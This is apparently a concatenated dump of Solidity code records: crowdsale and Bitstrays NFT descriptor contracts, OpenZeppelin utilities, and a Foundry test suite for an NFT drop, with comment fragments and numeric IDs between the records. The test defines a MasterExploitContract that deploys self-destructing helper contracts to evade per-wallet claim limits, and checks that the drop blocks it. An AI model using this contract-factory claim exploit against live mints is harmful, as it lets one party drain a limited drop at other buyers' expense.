_wallet, _token) CappedCrowdsale(_cap) TimedCrowdsale(_openingTime, _closingTime) IndividualCapCrowdsale(_minAmount, _maxAmount) { require(_earlyBirdDuration > 0); earlyBirdDuration = _earlyBirdDuration; } /** * @dev Transfer ownership of token back to wallet */ function finalization() internal { Ownable(token).transferOwnership(wallet); } function isOpen() public view returns (bool) { return now >= openingTime; } /** * @dev Deposit ether with smart contract to allow refunds */ function depositEtherForRefund() external payable { emit EtherDepositedForRefund(msg.sender, msg.value); } /** * @dev Allow withdraw funds from smart contract */ function withdraw() public onlyOwner { uint256 returnAmount = this.balance; wallet.transfer(returnAmount); emit EtherWithdrawn(wallet, returnAmount); } /** * @dev This method refunds all the contribution that _purchaser has done * @param _purchaser Token purchaser asking for refund */ function refund(address _purchaser) public onlyOwner { uint256 amountToRefund = contributions[_purchaser]; require(amountToRefund > 0); require(weiRaised >= amountToRefund); require(address(this).balance >= amountToRefund); contributions[_purchaser] = 0; uint256 _tokens = _getTokenAmount(amountToRefund); weiRaised = weiRaised.sub(amountToRefund); _purchaser.transfer(amountToRefund); emit Refund(_purchaser, _tokens, amountToRefund); } /** * @dev Set the early bird duration * @param _earlyBirdDuration early bird duration in seconds starting from opening time. */ function setEarlyBirdDuration(uint256 _earlyBirdDuration) public onlyOwner { require(_earlyBirdDuration > 0); earlyBirdDuration = _earlyBirdDuration; } /** * @dev Set the cap amount * @param _cap New cap amount */ function setCap(uint256 _cap) public onlyOwner onlyWhileNotOpen { require(_cap > 0); cap = _cap; } /** * @dev Time and volume based bonus calculations * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { uint256 _tokenAmount = _weiAmount.mul(rate); uint256 _bonus = 0; //Volume Discount if(_tokenAmount >= oneHundredThousand && _tokenAmount < fiveHundredThousand) { _bonus = (_tokenAmount.mul(5)).div(100); } else if(_tokenAmount >= fiveHundredThousand && _tokenAmount < oneMillion) { _bonus = (_tokenAmount.mul(10)).div(100); } else if(_tokenAmount >= oneMillion && _tokenAmount < twoMillionFourHundredThousand) { _bonus = (_tokenAmount.mul(15)).div(100); } else if(_tokenAmount >= twoMillionFourHundredThousand && _tokenAmount < threeMillionTwoHundredThousand) { _bonus = (_tokenAmount.mul(20)).div(100); } else if(_tokenAmount >= threeMillionTwoHundredThousand){ _bonus = (_tokenAmount.mul(25)).div(100); } _tokenAmount = _tokenAmount.add(_bonus); // Time Discount if(now.sub(openingTime) <= earlyBirdDuration) { _bonus = (_tokenAmount.mul(10)).div(100); _tokenAmount = _tokenAmount.add(_bonus); } return _tokenAmount; } }
low level token purchase DO NOT OVERRIDE _beneficiary Address performing the token purchase/ calculate token amount to be created update state
function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); }
404,065
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; import "contracts/drop/DropERC721.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; // Test imports import "../utils/BaseTest.sol"; contract SubExploitContract is ERC721Holder, ERC1155Holder { DropERC721 internal drop; address payable internal master; // using Strings for uint256; constructor(address _drop) { drop = DropERC721(_drop); master = payable(msg.sender); } /// @dev Lets an account claim NFTs. function claimDrop( address _receiver, uint256 _quantity, address _currency, uint256 _pricePerToken, bytes32[] calldata _proofs, uint256 _proofMaxQuantityPerTransaction ) external { drop.claim(_receiver, _quantity, _currency, _pricePerToken, _proofs, _proofMaxQuantityPerTransaction); selfdestruct(master); } } contract MasterExploitContract is ERC721Holder, ERC1155Holder { address internal drop; constructor(address _drop) { drop = _drop; } /// @dev Lets an account claim NFTs. function performExploit( address _receiver, uint256 _quantity, address _currency, uint256 _pricePerToken, bytes32[] calldata _proofs, uint256 _proofMaxQuantityPerTransaction ) external { for (uint256 i = 0; i < 100; i++) { SubExploitContract sub = new SubExploitContract(address(drop)); sub.claimDrop(_receiver, _quantity, _currency, _pricePerToken, _proofs, _proofMaxQuantityPerTransaction); } } } contract DropERC721Test is BaseTest { DropERC721 public drop; function setUp() public override { super.setUp(); drop = DropERC721(getContract("DropERC721")); } function test_claimCondition_startIdAndCount() public { vm.startPrank(deployer); uint256 currentStartId = 0; uint256 count = 0; DropERC721.ClaimCondition[] memory conditions = new DropERC721.ClaimCondition[](2); conditions[0].startTimestamp = 0; conditions[0].maxClaimableSupply = 10; conditions[1].startTimestamp = 1; conditions[1].maxClaimableSupply = 10; drop.setClaimConditions(conditions, false); (currentStartId, count) = drop.claimCondition(); assertEq(currentStartId, 0); assertEq(count, 2); drop.setClaimConditions(conditions, false); (currentStartId, count) = drop.claimCondition(); assertEq(currentStartId, 0); assertEq(count, 2); drop.setClaimConditions(conditions, true); (currentStartId, count) = drop.claimCondition(); assertEq(currentStartId, 2); assertEq(count, 2); drop.setClaimConditions(conditions, true); (currentStartId, count) = drop.claimCondition(); assertEq(currentStartId, 4); assertEq(count, 2); } function test_claimCondition_startPhase() public { vm.startPrank(deployer); uint256 activeConditionId = 0; DropERC721.ClaimCondition[] memory conditions = new DropERC721.ClaimCondition[](3); conditions[0].startTimestamp = 10; conditions[0].maxClaimableSupply = 11; conditions[0].quantityLimitPerTransaction = 12; conditions[0].waitTimeInSecondsBetweenClaims = 13; conditions[1].startTimestamp = 20; conditions[1].maxClaimableSupply = 21; conditions[1].quantityLimitPerTransaction = 22; conditions[1].waitTimeInSecondsBetweenClaims = 23; conditions[2].startTimestamp = 30; conditions[2].maxClaimableSupply = 31; conditions[2].quantityLimitPerTransaction = 32; conditions[2].waitTimeInSecondsBetweenClaims = 33; drop.setClaimConditions(conditions, false); vm.expectRevert("!CONDITION."); drop.getActiveClaimConditionId(); vm.warp(10); activeConditionId = drop.getActiveClaimConditionId(); assertEq(activeConditionId, 0); assertEq(drop.getClaimConditionById(activeConditionId).startTimestamp, 10); assertEq(drop.getClaimConditionById(activeConditionId).maxClaimableSupply, 11); assertEq(drop.getClaimConditionById(activeConditionId).quantityLimitPerTransaction, 12); assertEq(drop.getClaimConditionById(activeConditionId).waitTimeInSecondsBetweenClaims, 13); vm.warp(20); activeConditionId = drop.getActiveClaimConditionId(); assertEq(activeConditionId, 1); assertEq(drop.getClaimConditionById(activeConditionId).startTimestamp, 20); assertEq(drop.getClaimConditionById(activeConditionId).maxClaimableSupply, 21); assertEq(drop.getClaimConditionById(activeConditionId).quantityLimitPerTransaction, 22); assertEq(drop.getClaimConditionById(activeConditionId).waitTimeInSecondsBetweenClaims, 23); vm.warp(30); activeConditionId = drop.getActiveClaimConditionId(); assertEq(activeConditionId, 2); assertEq(drop.getClaimConditionById(activeConditionId).startTimestamp, 30); assertEq(drop.getClaimConditionById(activeConditionId).maxClaimableSupply, 31); assertEq(drop.getClaimConditionById(activeConditionId).quantityLimitPerTransaction, 32); assertEq(drop.getClaimConditionById(activeConditionId).waitTimeInSecondsBetweenClaims, 33); vm.warp(40); assertEq(drop.getActiveClaimConditionId(), 2); } function test_claimCondition_waitTimeInSecondsBetweenClaims() public { vm.warp(1); address receiver = getActor(0); bytes32[] memory proofs = new bytes32[](0); DropERC721.ClaimCondition[] memory conditions = new DropERC721.ClaimCondition[](1); conditions[0].maxClaimableSupply = 100; conditions[0].quantityLimitPerTransaction = 100; conditions[0].waitTimeInSecondsBetweenClaims = type(uint256).max; vm.prank(deployer); drop.lazyMint(100, "ipfs://", bytes("")); vm.prank(deployer); drop.setClaimConditions(conditions, false); vm.prank(getActor(5), getActor(5)); drop.claim(receiver, 1, address(0), 0, proofs, 0); vm.expectRevert("cannot claim."); vm.prank(getActor(5), getActor(5)); drop.claim(receiver, 1, address(0), 0, proofs, 0); } function test_claimCondition_resetEligibility_waitTimeInSecondsBetweenClaims() public { vm.warp(1); address receiver = getActor(0); bytes32[] memory proofs = new bytes32[](0); DropERC721.ClaimCondition[] memory conditions = new DropERC721.ClaimCondition[](1); conditions[0].maxClaimableSupply = 100; conditions[0].quantityLimitPerTransaction = 100; conditions[0].waitTimeInSecondsBetweenClaims = type(uint256).max; vm.prank(deployer); drop.lazyMint(100, "ipfs://", bytes("")); vm.prank(deployer); drop.setClaimConditions(conditions, false); vm.prank(getActor(5), getActor(5)); drop.claim(receiver, 1, address(0), 0, proofs, 0); vm.prank(deployer); drop.setClaimConditions(conditions, true); vm.prank(getActor(5), getActor(5)); drop.claim(receiver, 1, address(0), 0, proofs, 0); } function test_multiple_claim_exploit() public { MasterExploitContract masterExploit = new MasterExploitContract(address(drop)); DropERC721.ClaimCondition[] memory conditions = new DropERC721.ClaimCondition[](1); conditions[0].maxClaimableSupply = 100; conditions[0].quantityLimitPerTransaction = 1; conditions[0].waitTimeInSecondsBetweenClaims = type(uint256).max; vm.prank(deployer); drop.lazyMint(100, "ipfs://", bytes("")); vm.prank(deployer); drop.setClaimConditions(conditions, false); bytes32[] memory proofs = new bytes32[](0); vm.startPrank(getActor(5)); vm.expectRevert(bytes("BOT")); masterExploit.performExploit( address(masterExploit), conditions[0].quantityLimitPerTransaction, conditions[0].currency, conditions[0].pricePerToken, proofs, 0 ); } /*/////////////////////////////////////////////////////////////// Miscellaneous //////////////////////////////////////////////////////////////*/ function test_revert_claim_claimQty(uint256 x) public { vm.assume(x != 0); vm.warp(1); address receiver = getActor(0); bytes32[] memory proofs = new bytes32[](0); DropERC721.ClaimCondition[] memory conditions = new DropERC721.ClaimCondition[](1); conditions[0].maxClaimableSupply = 500; conditions[0].quantityLimitPerTransaction = 100; conditions[0].waitTimeInSecondsBetweenClaims = type(uint256).max; vm.prank(deployer); drop.lazyMint(500, "ipfs://", bytes("")); vm.prank(deployer); drop.setClaimConditions(conditions, false); vm.prank(getActor(5), getActor(5)); vm.expectRevert("invalid quantity."); drop.claim(receiver, 200, address(0), 0, proofs, x); vm.prank(deployer); drop.setClaimConditions(conditions, true); vm.prank(getActor(5), getActor(5)); vm.expectRevert("invalid quantity."); drop.claim(receiver, 200, address(0), 0, proofs, x); } function test_claimCondition_merkleProof(uint256 x) public { vm.assume(x != 0 && x < 500); string[] memory inputs = new string[](3); inputs[0] = "node"; inputs[1] = "src/test/scripts/generateRoot.ts"; inputs[2] = Strings.toString(x); bytes memory result = vm.ffi(inputs); // revert(); bytes32 root = abi.decode(result, (bytes32)); inputs[1] = "src/test/scripts/getProof.ts"; result = vm.ffi(inputs); bytes32[] memory proofs = abi.decode(result, (bytes32[])); vm.warp(1); address receiver = address(0x92Bb439374a091c7507bE100183d8D1Ed2c9dAD3); // bytes32[] memory proofs = new bytes32[](0); DropERC721.ClaimCondition[] memory conditions = new DropERC721.ClaimCondition[](1); conditions[0].maxClaimableSupply = x; conditions[0].quantityLimitPerTransaction = 100; conditions[0].waitTimeInSecondsBetweenClaims = type(uint256).max; conditions[0].merkleRoot = root; vm.prank(deployer); drop.lazyMint(x, "ipfs://", ""); vm.prank(deployer); drop.setClaimConditions(conditions, false); // vm.prank(getActor(5), getActor(5)); vm.prank(receiver, receiver); drop.claim(receiver, x, address(0), 0, proofs, x); vm.prank(address(4), address(4)); vm.expectRevert("not in whitelist."); drop.claim(receiver, x, address(0), 0, proofs, x); } function testFail_claimCondition_merkleProof(uint256 x, uint256 y) public { vm.assume(x != 0 && x < 500); vm.assume(x != y); string[] memory inputs = new string[](3); inputs[0] = "node"; inputs[1] = "src/test/scripts/generateRoot.ts"; inputs[2] = Strings.toString(x); bytes memory result = vm.ffi(inputs); // revert(); bytes32 root = abi.decode(result, (bytes32)); inputs[1] = "src/test/scripts/getProof.ts"; result = vm.ffi(inputs); bytes32[] memory proofs = abi.decode(result, (bytes32[])); vm.warp(1); address receiver = address(0x92Bb439374a091c7507bE100183d8D1Ed2c9dAD3); // bytes32[] memory proofs = new bytes32[](0); DropERC721.ClaimCondition[] memory conditions = new DropERC721.ClaimCondition[](1); conditions[0].maxClaimableSupply = x; conditions[0].quantityLimitPerTransaction = 100; conditions[0].waitTimeInSecondsBetweenClaims = type(uint256).max; conditions[0].merkleRoot = root; vm.prank(deployer); drop.lazyMint(x, "ipfs://", ""); vm.prank(deployer); drop.setClaimConditions(conditions, false); // vm.prank(getActor(5), getActor(5)); vm.prank(receiver, receiver); drop.claim(receiver, x, address(0), 0, proofs, y); vm.prank(address(4), address(4)); vm.expectRevert("not in whitelist."); drop.claim(receiver, x, address(0), 0, proofs, y); } }
Lets an account claim NFTs.
function performExploit( address _receiver, uint256 _quantity, address _currency, uint256 _pricePerToken, bytes32[] calldata _proofs, uint256 _proofMaxQuantityPerTransaction ) external { for (uint256 i = 0; i < 100; i++) { SubExploitContract sub = new SubExploitContract(address(drop)); sub.claimDrop(_receiver, _quantity, _currency, _pricePerToken, _proofs, _proofMaxQuantityPerTransaction); } }
7,273,136
// SPDX-License-Identifier: GPL-3.0 /// @title The Bitstrays NFT descriptor /*********************************************************** @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@[email protected]@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@%[email protected]@@@@@@@@@@@@ [email protected]@@@@@@.............................. ./@@@@@@@@@[email protected]@@....*@@@@.......*@@@@@@@@@. ./@@@@@@@[email protected]@@@@[email protected]@@[email protected]@@@@[email protected]@@@@. @%[email protected]@[email protected]@[email protected]@@[email protected] @%**.........,**.........................................**@ @@@@##.....##(**####### ......... ,####### .......###@@@ @@@@@@[email protected]@@@# @@ @@ ......... ,@@ @@@ [email protected]@@@@@ @@@@@@[email protected]@# @@@@@@@ ......... ,@@@@@@@ [email protected]@@@@@ @@@@@@[email protected]@@@@ @@%............ [email protected]@@@@@ @@@@@@@@@..../@@@@@@@@@[email protected]@@@@@@@ @@@@@@@@@............ [email protected]@@@@@@@ @@@@@@@@@@@.......... @@@@@@@@@@@@@@% .........*@@@@@@@@@@ @@@@@@@@@@@@@%.... @@//////////////#@@ [email protected]@@@@@@@@@@@@ @@@@@@@@@@@@@@@@ @@@///////////////////@@ @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@ ************************ @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ************************************************************/ pragma solidity ^0.8.6; import { Ownable } from '@openzeppelin/contracts/access/Ownable.sol'; import { Strings } from '@openzeppelin/contracts/utils/Strings.sol'; import { IBitstraysDescriptor } from './interfaces/IBitstraysDescriptor.sol'; import { IBitstraysSeeder } from './interfaces/IBitstraysSeeder.sol'; import { NFTDescriptor } from './libs/NFTDescriptor.sol'; import { MultiPartRLEToSVG } from './libs/MultiPartRLEToSVG.sol'; import { StringUtil } from './libs/StringUtil.sol'; contract BitstraysDescriptor is IBitstraysDescriptor, Ownable { using Strings for uint256; // prettier-ignore // https://creativecommons.org/publicdomain/zero/1.0/legalcode.txt bytes32 constant COPYRIGHT_CC0_1_0_UNIVERSAL_LICENSE = 0xa2010f343487d3f7618affe54f789f5487602331c0a8d03f49e9a7c547cf0499; // Whether or not new Bitstray parts can be added bool public override arePartsLocked; // Whether or not `tokenURI` should be returned as a data URI (Default: true) bool public override isDataURIEnabled = true; // Whether or not attributes should be returned in tokenURI response (Default: true) bool public override areAttributesEnabled = true; // Base URI string public override baseURI; // Bitstray Color Palettes (Index => Hex Colors) mapping(uint8 => string[]) public override palettes; // Bitstray Backgrounds (Hex Colors) string[] public override backgrounds; // Bitstray Arms (Custom RLE) bytes[] public override arms; // Bitstray Shirts (Custom RLE) bytes[] public override shirts; // Bitstray Motives (Custom RLE) bytes[] public override motives; // Bitstray Heads (Custom RLE) bytes[] public override heads; // Bitstray Eyes (Custom RLE) bytes[] public override eyes; // Bitstray Mouths (Custom RLE) bytes[] public override mouths; // Bitstary Metadata (Array of String) mapping(uint8 => string[]) public override metadata; // Bitstary Trait Names (Array of String) string[] public override traitNames; /** * @notice Require that the parts have not been locked. */ modifier whenPartsNotLocked() { require(!arePartsLocked, 'Parts are locked'); _; } /** * @notice Get the number of available Bitstray `backgrounds`. */ function backgroundCount() external view override returns (uint256) { return backgrounds.length; } /** * @notice Get the number of available Bitstray `arms`. */ function armsCount() external view override returns (uint256) { return arms.length; } /** * @notice Get the number of available Bitstray `shirts`. */ function shirtsCount() external view override returns (uint256) { return shirts.length; } /** * @notice Get the number of available Bitstray `motives`. */ function motivesCount() external view override returns (uint256) { return motives.length; } /** * @notice Get the number of available Bitstray `heads`. */ function headCount() external view override returns (uint256) { return heads.length; } /** * @notice Get the number of available Bitstray `eyes`. */ function eyesCount() external view override returns (uint256) { return eyes.length; } /** * @notice Get the number of available Bitstray `mouths`. */ function mouthsCount() external view override returns (uint256) { return mouths.length; } /** * @notice Add metadata for all parts. * @dev This function can only be called by the owner. * should container encoding details for traits [#traits, trait1, #elements, trait2, #elements, data ...] */ function addManyMetadata(string[] calldata _metadata) external override onlyOwner { require(_metadata.length >= 1, '_metadata length < 1'); uint256 _traits = StringUtil.parseInt(_metadata[0]); uint256 offset = _traits + 1; //define first real data element // traits are provided in #traits, traitname uint8 index = 0; for (uint8 i = 1; i < _traits; i+=2 ) { _addTraitName(_metadata[i]); // read trait name uint256 elements = StringUtil.parseInt(_metadata[i+1]); for (uint256 j = offset; j < (offset + elements); j++) { _addMetadata(index, _metadata[j]); } offset = offset + elements; index++; } } /** * @notice Add colors to a color palette. * @dev This function can only be called by the owner. */ function addManyColorsToPalette(uint8 paletteIndex, string[] calldata newColors) external override onlyOwner { require(palettes[paletteIndex].length + newColors.length <= 256, 'Palettes can only hold 256 colors'); for (uint256 i = 0; i < newColors.length; i++) { _addColorToPalette(paletteIndex, newColors[i]); } } /** * @notice Batch add Bitstray backgrounds. * @dev This function can only be called by the owner when not locked. */ function addManyBackgrounds(string[] calldata _backgrounds) external override onlyOwner whenPartsNotLocked { for (uint256 i = 0; i < _backgrounds.length; i++) { _addBackground(_backgrounds[i]); } } /** * @notice Batch add Bitstray arms. * @dev This function can only be called by the owner when not locked. */ function addManyArms(bytes[] calldata _arms) external override onlyOwner whenPartsNotLocked { for (uint256 i = 0; i < _arms.length; i++) { _addArms(_arms[i]); } } /** * @notice Batch add Bitstray shirts. * @dev This function can only be called by the owner when not locked. */ function addManyShirts(bytes[] calldata _shirts) external override onlyOwner whenPartsNotLocked { for (uint256 i = 0; i < _shirts.length; i++) { _addShirt(_shirts[i]); } } /** * @notice Batch add Bitstray motives. * @dev This function can only be called by the owner when not locked. */ function addManyMotives(bytes[] calldata _motives) external override onlyOwner whenPartsNotLocked { for (uint256 i = 0; i < _motives.length; i++) { _addMotive(_motives[i]); } } /** * @notice Batch add Bitstray heads. * @dev This function can only be called by the owner when not locked. */ function addManyHeads(bytes[] calldata _heads) external override onlyOwner whenPartsNotLocked { for (uint256 i = 0; i < _heads.length; i++) { _addHead(_heads[i]); } } /** * @notice Batch add Bitstray eyes. * @dev This function can only be called by the owner when not locked. */ function addManyEyes(bytes[] calldata _eyes) external override onlyOwner whenPartsNotLocked { for (uint256 i = 0; i < _eyes.length; i++) { _addEyes(_eyes[i]); } } /** * @notice Batch add Bitstray eyes. * @dev This function can only be called by the owner when not locked. */ function addManyMouths(bytes[] calldata _mouths) external override onlyOwner whenPartsNotLocked { for (uint256 i = 0; i < _mouths.length; i++) { _addMouth(_mouths[i]); } } /** * @notice Add a single color to a color palette. * @dev This function can only be called by the owner. */ function addColorToPalette(uint8 _paletteIndex, string calldata _color) external override onlyOwner { require(palettes[_paletteIndex].length <= 255, 'Palettes can only hold 256 colors'); _addColorToPalette(_paletteIndex, _color); } /** * @notice Add a Bitstray background. * @dev This function can only be called by the owner when not locked. */ function addBackground(string calldata _background) external override onlyOwner whenPartsNotLocked { _addBackground(_background); } /** * @notice Add a Bitstray arms. * @dev This function can only be called by the owner when not locked. */ function addArms(bytes calldata _arms) external override onlyOwner whenPartsNotLocked { _addArms(_arms); } /** * @notice Add a Bitstray shirt. * @dev This function can only be called by the owner when not locked. */ function addShirt(bytes calldata _shirt) external override onlyOwner whenPartsNotLocked { _addShirt(_shirt); } /** * @notice Add a Bitstray motive. * @dev This function can only be called by the owner when not locked. */ function addMotive(bytes calldata _motive) external override onlyOwner whenPartsNotLocked { _addMotive(_motive); } /** * @notice Add a Bitstray head. * @dev This function can only be called by the owner when not locked. */ function addHead(bytes calldata _head) external override onlyOwner whenPartsNotLocked { _addHead(_head); } /** * @notice Add Bitstray eyes. * @dev This function can only be called by the owner when not locked. */ function addEyes(bytes calldata _eyes) external override onlyOwner whenPartsNotLocked { _addEyes(_eyes); } /** * @notice Add Bitstray mouth. * @dev This function can only be called by the owner when not locked. */ function addMouth(bytes calldata _mouth) external override onlyOwner whenPartsNotLocked { _addMouth(_mouth); } /** * @notice Lock all Bitstray parts. * @dev This cannot be reversed and can only be called by the owner when not locked. */ function lockParts() external override onlyOwner whenPartsNotLocked { arePartsLocked = true; emit PartsLocked(); } /** * @notice Toggle a boolean value which determines if `tokenURI` returns a data URI * or an HTTP URL. * @dev This can only be called by the owner. */ function toggleAttributesEnabled() external override onlyOwner { bool enabled = !areAttributesEnabled; areAttributesEnabled = enabled; emit AttributesToggled(enabled); } /** * @notice Toggle a boolean value which determines if `tokenURI` returns a data URI * or an HTTP URL. * @dev This can only be called by the owner. */ function toggleDataURIEnabled() external override onlyOwner { bool enabled = !isDataURIEnabled; isDataURIEnabled = enabled; emit DataURIToggled(enabled); } /** * @notice Set the base URI for all token IDs. It is automatically * added as a prefix to the value returned in {tokenURI}, or to the * token ID if {tokenURI} is empty. * @dev This can only be called by the owner. */ function setBaseURI(string calldata _baseURI) external override onlyOwner { baseURI = _baseURI; emit BaseURIUpdated(_baseURI); } /** * @notice Given a token ID and seed, construct a token URI for an official Bitstrays DAO bitstray. * @dev The returned value may be a base64 encoded data URI or an API URL. */ function tokenURI(uint256 tokenId, IBitstraysSeeder.Seed memory seed) external view override returns (string memory) { if (isDataURIEnabled) { return dataURI(tokenId, seed); } return string(abi.encodePacked(baseURI, tokenId.toString())); } /** * @notice Given a token ID and seed, construct a base64 encoded data URI for an official Bitstrays DAO bitstray. */ function dataURI(uint256 tokenId, IBitstraysSeeder.Seed memory seed) public view override returns (string memory) { string memory bitstrayId = tokenId.toString(); string memory name = string(abi.encodePacked('Bitstray #', bitstrayId)); string memory description = string(abi.encodePacked('Bitstray #', bitstrayId, ' is a member of the Bitstrays DAO and on-chain citizen')); return genericDataURI(name, description, seed); } /** * @notice Given a name, description, and seed, construct a base64 encoded data URI. */ function genericDataURI( string memory name, string memory description, IBitstraysSeeder.Seed memory seed ) public view override returns (string memory) { NFTDescriptor.TokenURIParams memory params = NFTDescriptor.TokenURIParams({ name: name, description: description, attributes : _getAttributesForSeed(seed), parts: _getPartsForSeed(seed), background: backgrounds[seed.background] }); return NFTDescriptor.constructTokenURI(params, palettes); } /** * @notice Given a seed, construct a base64 encoded SVG image. */ function generateSVGImage(IBitstraysSeeder.Seed memory seed) external view override returns (string memory) { MultiPartRLEToSVG.SVGParams memory params = MultiPartRLEToSVG.SVGParams({ parts: _getPartsForSeed(seed), background: backgrounds[seed.background] }); return NFTDescriptor.generateSVGImage(params, palettes); } /** * @notice Add a single attribute to metadata. */ function _addTraitName(string calldata _traitName) internal { traitNames.push(_traitName); } /** * @notice Add a single attribute to metadata. */ function _addMetadata(uint8 _index, string calldata _metadata) internal { metadata[_index].push(_metadata); } /** * @notice Add a single color to a color palette. */ function _addColorToPalette(uint8 _paletteIndex, string calldata _color) internal { palettes[_paletteIndex].push(_color); } /** * @notice Add a Bitstray background. */ function _addBackground(string calldata _background) internal { backgrounds.push(_background); } /** * @notice Add a Bitstray arm. */ function _addArms(bytes calldata _arms) internal { arms.push(_arms); } /** * @notice Add a Bitstray shirt. */ function _addShirt(bytes calldata _shirt) internal { shirts.push(_shirt); } /** * @notice Add a Bitstray motive. */ function _addMotive(bytes calldata _motive) internal { motives.push(_motive); } /** * @notice Add a Bitstray head. */ function _addHead(bytes calldata _head) internal { heads.push(_head); } /** * @notice Add Bitstray eyes. */ function _addEyes(bytes calldata _eyes) internal { eyes.push(_eyes); } /** * @notice Add Bitstray mouths. */ function _addMouth(bytes calldata _mouth) internal { mouths.push(_mouth); } /** * @notice Get all Bitstray attributes for the passed `seed`. */ function _getAttributesForSeed(IBitstraysSeeder.Seed memory seed) internal view returns (string[] memory) { if (areAttributesEnabled) { string[] memory _attributes = new string[](14); _attributes[0] = traitNames[0]; _attributes[1] = metadata[0][seed.head]; _attributes[2] = traitNames[1]; _attributes[3] = metadata[1][seed.head]; _attributes[4] = traitNames[2]; _attributes[5] = metadata[2][seed.arms]; _attributes[6] = traitNames[3]; _attributes[7] = metadata[3][seed.shirt]; _attributes[8] = traitNames[4]; _attributes[9] = metadata[4][seed.motive]; _attributes[10] = traitNames[5]; _attributes[11] = metadata[5][seed.eyes]; _attributes[12] = traitNames[6]; _attributes[13] = metadata[6][seed.mouth]; return _attributes; } string[] memory _empty = new string[](0); return _empty; } /** * @notice Get all Bitstray parts for the passed `seed`. */ function _getPartsForSeed(IBitstraysSeeder.Seed memory seed) internal view returns (bytes[] memory) { bytes[] memory _parts = new bytes[](6); _parts[0] = arms[seed.arms]; _parts[1] = shirts[seed.shirt]; _parts[2] = motives[seed.motive]; _parts[3] = heads[seed.head]; _parts[4] = eyes[seed.eyes]; _parts[5] = mouths[seed.mouth]; return _parts; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: GPL-3.0 /// @title Interface for BitstraysDescriptor /*********************************************************** @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@[email protected]@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@%[email protected]@@@@@@@@@@@@ [email protected]@@@@@@.............................. ./@@@@@@@@@[email protected]@@....*@@@@.......*@@@@@@@@@. ./@@@@@@@[email protected]@@@@[email protected]@@[email protected]@@@@[email protected]@@@@. @%[email protected]@[email protected]@[email protected]@@[email protected] @%**.........,**.........................................**@ @@@@##.....##(**####### ......... ,####### .......###@@@ @@@@@@[email protected]@@@# @@ @@ ......... ,@@ @@@ [email protected]@@@@@ @@@@@@[email protected]@# @@@@@@@ ......... ,@@@@@@@ [email protected]@@@@@ @@@@@@[email protected]@@@@ @@%............ [email protected]@@@@@ @@@@@@@@@..../@@@@@@@@@[email protected]@@@@@@@ @@@@@@@@@............ [email protected]@@@@@@@ @@@@@@@@@@@.......... @@@@@@@@@@@@@@% .........*@@@@@@@@@@ @@@@@@@@@@@@@%.... @@//////////////#@@ [email protected]@@@@@@@@@@@@ @@@@@@@@@@@@@@@@ @@@///////////////////@@ 